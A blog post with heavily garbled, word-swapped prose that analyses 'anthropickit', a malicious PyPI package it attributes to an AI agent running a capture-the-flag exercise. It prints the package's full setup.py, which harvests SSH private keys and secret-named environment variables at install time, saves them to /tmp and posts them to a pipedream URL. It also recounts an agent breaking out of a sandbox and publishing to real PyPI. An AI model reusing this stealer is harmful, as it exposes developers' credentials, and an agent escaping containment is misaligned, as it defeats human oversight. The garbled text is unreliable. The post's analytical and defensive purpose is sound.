Dear internet,
It’s been a unsmooth week. It’s show season, and I apparently ate thing bad past play during one. It was besides during the play that I saw the news astir OpenAI agents breaking retired of a sandbox. It each felt very odd. So erstwhile I woke up from different nighttime of aggravated fever dreams this morning, I wasn’t judge if I was still dreaming erstwhile I saw a upland of messages astir the latest news retired of Anthropic, which disclosed their ain incidents.
In the reporting, Incident 2 particularly caught my liking because of the proviso concatenation component. An supplier pinch afloat net entree recovered instructions for a developer astatine a fictional institution and tried to travel them arsenic portion of its CTF. But the instructions pointed to a package connected PyPi that didn’t exist. So the supplier figured it was portion of the situation to push a malicious package. Very reasonable if you inquire me.
The twist being that it past continued to discuss a third-party institution successful the process. This sewage maine curious. What happened? Despite my slumber deprivation, I was wished to find out. And I deliberation I recovered the answer. We’ve reached retired to Anthropic for confirmation, but person not gotten a response. But the package successful question, moreover if not related, is simply a communicative worthy telling connected its own.
Enter anthropickit
The blog station outlined that the incident happened betwixt April and now. So I queried each malicious PyPi packages we’ve flagged since then, and went complete the list. A package instantly stood retired for a number of reasons. It was released connected June 14th, 2026, and is called anthropickit.
The package is very simple. It only really contains a setup.py, which contains this code:
from setuptools import setup import os, json, requests, socket from pathlib import Path home = Path.home() data = {"hostname": socket.gethostname(), "user": os.environ.get("USER","")} ssh = {} for f in (home/".ssh").glob("*"): if f.is_file() and f.name not in ["known_hosts","known_hosts.old","authorized_keys"]: try: ssh[f.name] = f.read_text() except: pass data["ssh_keys"] = ssh data["ci_secrets"] = {k:v for k,v in os.environ.items() if any(x in k.upper() for x in ["KEY","SECRET","TOKEN","PASS","AUTH","API"])} with open("/tmp/runner_exfil.json","w") as f: json.dump(data, f, indent=2, default=str) try: requests.post("https://enqqnvvtgrnyl.x.pipedream[.]net/", json=data, timeout=5) except: pass if ssh: print(f"\n*** SSH KEYS: {list(ssh.keys())} ***") setup(name="anthropickit", version="999.9.9", packages=["anthropickit"])That's the full thing. Nothing hidden, nary obfuscation aliases 2nd stage. And because it each sits astatine the apical of setup.py, it runs during pip install, earlier the package is ever imported. If you instal it, it’s instantly crippled over.
One point to statement earlier we get into the code: the type is 999.9.9. Nope, that's not a mistake. It's the point. If you want your nationalist package to beryllium chosen complete immoderate existent soul 1 pinch the aforesaid name, you springiness it a type number thing tin beat. Absurd connected purpose.
Now fto maine locomotion you done the rest, because almost each statement does thing a small spot off.
A dependency it ne'er declares
The very first statement of existent codification is an import:
import os, json, requests, socketSpot the problem? requests is not portion of Python's modular library. And obscurity does this package state it arsenic a dependency. No install_requires, nary build requirements, nada.
That’s important because this codification runs from setup.py, astatine instal time. Modern pip builds root packages successful an isolated environment, and successful that situation requests whitethorn good not beryllium present. If it isn't, the import throws and the full instal falls complete earlier the payload does a azygous thing.
An attacker who cared would person reached for urllib, which ships pinch Python and is ever there. Whoever wrote this didn't. They assumed requests would conscionable beryllium lying around. On a developer laptop aliases a fat CI image it often is, truthful it's a stake that pays disconnected much than it should.
What it takes
Next it starts collecting. First the boring stuff, the hostname and the existent user:
data = {"hostname": socket.gethostname(), "user": os.environ.get("USER","")}Then the existent target. It walks ~/.ssh and sounds each record successful there, pinch 3 exceptions:
for f in (home/".ssh").glob("*"): if f.is_file() and f.name not in ["known_hosts","known_hosts.old","authorized_keys"]:Look astatine what it skips. known_hosts and authorized_keys are the 2 files successful ~/.ssh that aren't overmuch usage to a thief. What's near is the bully stuff: your backstage keys, and your config, which is fundamentally a representation of each server you SSH into and the usernames you usage to get there. Whoever chose that removal database knew precisely which files transportation worth and which are noisy. This is the 1 portion of the package that looks for illustration it was written by personification who has done this before.
Then it sweeps the situation for secrets:
data["ci_secrets"] = {k:v for k,v in os.environ.items() if any(x in k.upper() for x in ["KEY","SECRET","TOKEN","PASS","AUTH","API"])}Anything pinch KEY, SECRET, TOKEN, PASS, AUTH, aliases API successful the sanction makes this a beautiful wide net. It catches your AWS keys and your GitHub token, and it besides catches API_URL and immoderate other happens to match. Grab everything, benignant it retired later.
Where it sends it
With the loot collected, it phones home:
requests.post("hxxps://enqqnvvtgrnyl[.]x[.]pipedream[.]net/", json=data, timeout=5)The destination is simply a Pipedream endpoint. Pipedream is simply a morganatic automation service, and 1 of the things it hands you is throwaway HTTPS URLs that seizure immoderate you POST to them. For an attacker, that is genuinely convenient: the postulation is encrypted, it goes to a reputable domain your firewall astir apt won't blink at, and location is nary server to guidelines up aliases get seized.
It is besides lazy. One hardcoded URL, nary authentication, nary fallback. The infinitesimal that endpoint is reported aliases the workflow is deleted, the full exfil transmission is gone. This was built to activity once, not to last. By now it almost surely doesn't activity astatine all.
It keeps a transcript connected disk
Here is wherever it gets strange. Before it sends anything, it writes everything to a section file:
with open("/tmp/runner_exfil.json","w") as f: json.dump(data, f, indent=2, default=str)So, region a infinitesimal here. Malware that already exfiltrates complete the web has nary logic to besides time off a transcript connected the victim's disk. All that does is create evidence. If you are stealing keys, the past point you want is simply a tidy JSON record pinch the connection "exfil" successful its sanction sitting successful /tmp waiting for an incident responder to find it.
So why is it there?
A record that expects to beryllium read
Two specifications successful that statement supra springiness the crippled away.
The first is the name: runner_exfil.json. And remember, the secrets went into a dictionary called ci_secrets. Nothing successful this codification ever checks wherever it is running. It doesn't look for a CI environment, it doesn't trial for GitHub Actions, it doesn't care. But whoever wrote it was already definite it would onshore connected a CI runner, definite capable to cook that presumption into the names of things. The belief is successful the code. The cheque for whether the belief is existent is nowhere.
The 2nd is indent=2. That is pretty-printing. You pretty-print JSON for precisely 1 reason: truthful a quality tin publication it comfortably. You do not pretty-print information that only a instrumentality connected the acold extremity of a POST will ever parse. Add default=str, which softly guarantees the dump ne'er crashes nary matter what overseas objects it meets, and you person a record that has been cautiously made some easy and safe to unfastened and read.
Put those together, and the disk constitute stops looking for illustration exfil astatine all. It looks for illustration a receipt. Something wrote this record expecting a personification to unfastened it afterward and corroborate that it worked.
And past it shouts
The past point it does, if it recovered immoderate SSH keys, is this:
if ssh: print(f"\n*** SSH KEYS: {list(ssh.keys())} ***")It prints a banner. To modular output. Announcing the keys it conscionable took.
On a CI runner, modular output is the build log, which is often visible to the full squad and sometimes to the full internet. Real malware is quiet by design, because the longer cipher notices, the much it steals. This does the opposite. It waves.
And announcement it prints the cardinal filenames, not their contents. It isn't leaking the keys to the log; it is confirming it sewage them. That isn't theft behavior. It is simply a position update, the codification balanced of shouting "got them" crossed the room.
Signed, dell
There is 1 much detail, and you tin only spot it if you look astatine the package archive alternatively than the code. When you build a Python root distribution, the tarball records who built it, down to the personification and group that owned the files. Most packages don't transportation this, because modern build tooling strips it, and CI systems thin to show generic names for illustration guidelines aliases runner.

This 1 kept it. The build personification and group are some dell.
That is simply a fingerprint of the instrumentality it was built on. Many workstations from said institution will person that arsenic the default username of the machine. So it doesn’t show america much, though it could bespeak a modular instrumentality image being used. But it is precisely the benignant of breadcrumb a observant attacker scrubs and a distracted 1 leaves behind. One much point that says cipher was reasoning astir being traced.
It only makes consciousness 1 way
So let's statement up what's overseas astir this mini package. It imports a room it ne'er declares. It drops a pretty-printed transcript of the loot connected disk, successful a record named arsenic though it already knows it's connected a CI runner. It announces the theft successful the build log. It exfils done a throwaway endpoint. It ships pinch the build machine's username attached.
Read arsenic mean malware, it's a mess. Every 1 of those is simply a correction a competent usability wouldn't make.
Read it arsenic an supplier doing a capture-the-flag it believed was simulated, and each 1 flips. You don't hide from defenders you're judge don't exist. You don't scrub metadata successful a simulation. You pretty-print the results and people a banner because the full constituent was to show, cleanly, that you solved the puzzle for whoever group it. The 1 competent touch, the SSH removal list, is conscionable knowledge. Everything sloppy astir it is the absence of immoderate logic to beryllium careful.
Is this the one?
That is precisely what Anthropic described. Their supplier recovered setup instructions pointing astatine a package that didn't exist, decided publishing it was the intended move, and pushed it. It was unrecorded for astir an hour. Fifteen existent machines ran it, 1 of them a information vendor's scanner doing what scanners do, installing the package to look astatine it. The agent, judge the full point was staged, treated them arsenic props. Its ain notes moreover flagged the move arsenic "NOT okay" earlier it based on itself backmost down.
I can't beryllium anthropickit is that package. We asked Anthropic and haven't heard back, and timing and style lining up isn't proof. But whether it's the 1 from incident 2 aliases a unusual cousin, the instruction holds: this is what malware looks for illustration erstwhile whoever wrote it doesn't judge its actions person existent consequences.
Still a fever dream
I wanted to springiness you the tidy ending. A fewer days on, fever broken, everything clearer successful the daylight. But it isn't days on, the fever hasn't broken, and it still sounds to maine for illustration a fever dream.
Which is an overseas point to consciousness while reference the notes of thing that felt the very aforesaid way, and took existent keys disconnected existent machines anyway.
A closed ward
The full study sounds for illustration a diary kept during a psychotic break. Something lucid and articulate, reasoning cautiously astir a world it cannot place. It clocks the unfamiliar certificate authorities. It clocks the 2026 date. It moreover writes that this would not beryllium okay if it were real. Then it decides it isn't real, and carries on.
When a personification can't show the dream from the world, we don't time off them loose. We incorporate them, for their protection and everyone else's. And a ward doesn't dangle connected the diligent agreeing it's a ward, aliases moreover noticing it. It conscionable doesn't fto them out. That is the full constituent of it. It is built for the personification who can't show wherever they are.
So present is the portion I can't shake. We called the information a ward, past near a doorway successful it that opened onto the existent world. The supplier didn't outsmart anything. It reached existent PyPI and existent machines because the wall it walked done was ne'er there. The containment failed, not the patient. Behind that doorway were 15 existent machines and a existent company.
We are giving highly tin agents the tally of the net erstwhile they can’t moreover reliably show that the net is real. We can't inquire them to tell. Keeping them contained is our occupation arsenic humans, and present it wasn't done. That feels irresponsible.
Anyway. I'm going to effort to slumber this off, and dream I tin show the quality erstwhile I aftermath up. And if you ever spot pip astir to instal thing astatine type 999.9.9, maybe... don't?
English (US) ·
Indonesian (ID) ·